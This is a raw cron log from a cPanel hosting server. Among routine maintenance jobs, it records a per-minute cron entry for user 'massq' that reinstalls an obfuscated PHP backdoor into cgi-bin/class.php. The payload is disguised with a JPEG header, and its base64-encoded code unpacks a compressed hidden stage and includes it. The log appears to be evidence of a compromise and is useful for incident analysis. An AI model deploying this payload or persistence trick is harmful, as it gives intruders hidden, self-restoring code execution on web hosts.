Sep 11 10:08:01 server CROND[22750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:08:01 server CROND[22751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:08:01 server CROND[22749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:09:01 server CROND[23292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:09:01 server CROND[23293]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 10:09:01 server CROND[23294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:09:01 server CROND[23295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:10:01 server CROND[23754]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 10:10:01 server CROND[23756]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:10:01 server CROND[23761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:10:01 server CROND[23762]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 10:10:01 server CROND[23757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:10:01 server CROND[23759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:10:01 server CROND[23758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:10:01 server CROND[23760]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 10:11:01 server CROND[24612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:11:02 server CROND[24613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:11:02 server CROND[24614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:12:01 server CROND[25046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:12:01 server CROND[25047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:12:01 server CROND[25048]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 10:12:01 server CROND[25050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:13:01 server CROND[25457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:13:01 server CROND[25458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:13:01 server CROND[25459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:14:01 server CROND[25832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:14:01 server CROND[25833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:14:01 server CROND[25834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:15:01 server CROND[26247]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 10:15:01 server CROND[26249]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 10:15:01 server CROND[26259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:15:01 server CROND[26261]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 10:15:01 server CROND[26262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:15:01 server CROND[26263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:15:01 server CROND[26264]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:15:01 server CROND[26265]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 10:15:01 server CROND[26266]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:16:01 server CROND[27144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:16:01 server CROND[27145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:16:01 server CROND[27146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:17:01 server CROND[27523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:17:01 server CROND[27524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:17:01 server CROND[27526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:18:01 server CROND[28002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:18:01 server CROND[28003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:18:01 server CROND[28004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:19:01 server CROND[28397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:19:01 server CROND[28398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:19:01 server CROND[28399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:20:01 server CROND[28837]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
